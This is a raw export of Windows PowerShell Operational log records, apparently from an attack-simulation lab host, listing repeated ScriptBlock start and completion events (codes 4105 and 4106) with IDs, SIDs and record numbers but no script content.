Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025581
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025557
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025555
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025554
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025535
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
